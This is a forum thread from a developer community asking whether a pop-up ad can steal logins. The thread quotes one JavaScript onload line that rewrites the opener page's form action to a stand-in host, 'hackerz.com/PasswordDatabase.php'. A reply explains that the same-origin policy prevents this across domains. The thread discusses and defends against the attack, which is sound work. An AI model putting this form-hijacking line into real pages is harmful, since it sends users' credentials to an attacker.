473,378 Members | 1,426 Online
Bytes | Software Development & Data Engineering Community
Post Job

Home Posts Topics Members FAQ

Join Bytes to post your question to a community of 473,378 software developers and data experts.

form action password sniffing?

Security hole for dummies:

Let's say I have a login screen with a lots of advertisement (links).
One of those links is opened in a new window, and there is the following:

<body
onload="opener.document.forms[0].action='http://www.hackerz.com/PasswordDatabase.php';">

After clicking the link and reading the advertisement, I go on "logging
in" on the first window. After I submit, the form data, username,
password and all is submitted to a third party..
Is this old news? (I don't follow these news too often..) Any comments,
fixes, anything?
Jul 20 '05 #1
2 1445

Hi,

my 2 cents:

In the case you describe the popstuff is probably hosted somewhere else, via
some advertising company (hate them).
I think all modern browsers don't allow javascript doing anything on a
window that is hosted from another server.

so: window1: html://www.serv1.com/page.htm
window2: html://www.serv2.com/page.htm

The script on window2 cannot access window1.

In that case you are safe.

If however both are hosted from the same server, your trick will work.
Just another good reason not to fill your own server with scripts from some
untrusted party.

Regards,
Erwin Moller

Jul 20 '05 #2
> I think all modern browsers don't allow javascript doing anything on a
window that is hosted from another server.
Ok, that helps.. I had only one host to test it on.
If however both are hosted from the same server, your trick will work.


A good reason not to use any domains offering free web pages under the
same hostname.. I wonder if there are any abuses using this trick?

Thanks for replying!
Jul 20 '05 #3

This thread has been closed and replies have been disabled. Please start a new discussion.

Similar topics

10
by: iam247 | last post by:
Hi In my prototype asp page (with no javascript and no password validation, I have a registration form with the following action: <form name="form" method="post" action="RegDetails.asp"> ...
6
by: tencip | last post by:
Hi everyone, So, i've got a form that is very simple. It hold three elements: username, password, and domain. The goal here is to have the form submit the login to an administrative section...
36
by: dcrespo | last post by:
Hi all, I have a program that serves client programs. The server has a login password, which has to be used by each client for logging in. So, when the client connects, it sends a string with a...
5
by: Navillus | last post by:
Hey gang, I have a login form that is empty by default, but can be filled with values from a previous form: <input type=text maxlength="40" size="40" name="user" value="`usr`"> <input...
5
by: Olly | last post by:
Hello Everyone! Could someone please have a look at my JS Form I posted below....Something wrong there, but I don't understand what's exactly. Many thanks. Olly ...
1
by: Denis | last post by:
Hi there, I am quite new to Javascript and probably this is pretty trivial, so please be a bit patient with my ignorance. Currently I am wondering about a login.jsp with the following code: ...
2
by: Grey Alien | last post by:
I am trying to programatically POST an ASP form, to allow me to log on to a site programatically. <form name="aspnetForm" method="post" action="Default.aspx" id="aspnetForm"> <input...
19
by: klenwell | last post by:
Another request for comments here. I'd like to accomplish something like the scheme outlined at this page here: http://tinyurl.com/3dtcdr In a nutshell, the form uses javascript to hash...
0
by: Faith0G | last post by:
I am starting a new it consulting business and it's been a while since I setup a new website. Is wordpress still the best web based software for hosting a 5 page website? The webpages will be...
0
isladogs
by: isladogs | last post by:
The next Access Europe User Group meeting will be on Wednesday 3 Apr 2024 starting at 18:00 UK time (6PM UTC+1) and finishing by 19:30 (7.30PM). In this session, we are pleased to welcome former...
0
by: ryjfgjl | last post by:
In our work, we often need to import Excel data into databases (such as MySQL, SQL Server, Oracle) for data analysis and processing. Usually, we use database tools like Navicat or the Excel import...
0
by: aa123db | last post by:
Variable and constants Use var or let for variables and const fror constants. Var foo ='bar'; Let foo ='bar';const baz ='bar'; Functions function $name$ ($parameters$) { } ...
0
by: ryjfgjl | last post by:
If we have dozens or hundreds of excel to import into the database, if we use the excel import function provided by database editors such as navicat, it will be extremely tedious and time-consuming...
0
by: ryjfgjl | last post by:
In our work, we often receive Excel tables with data in the same format. If we want to analyze these data, it can be difficult to analyze them because the data is spread across multiple Excel files...
0
BarryA
by: BarryA | last post by:
What are the essential steps and strategies outlined in the Data Structures and Algorithms (DSA) roadmap for aspiring data scientists? How can individuals effectively utilize this roadmap to progress...
1
by: nemocccc | last post by:
hello, everyone, I want to develop a software for my android phone for daily needs, any suggestions?
1
by: Sonnysonu | last post by:
This is the data of csv file 1 2 3 1 2 3 1 2 3 1 2 3 2 3 2 3 3 the lengths should be different i have to store the data by column-wise with in the specific length. suppose the i have to...

By using Bytes.com and it's services, you agree to our Privacy Policy and Terms of Use.

To disable or enable advertisements and analytics tracking please visit the manage ads & tracking page.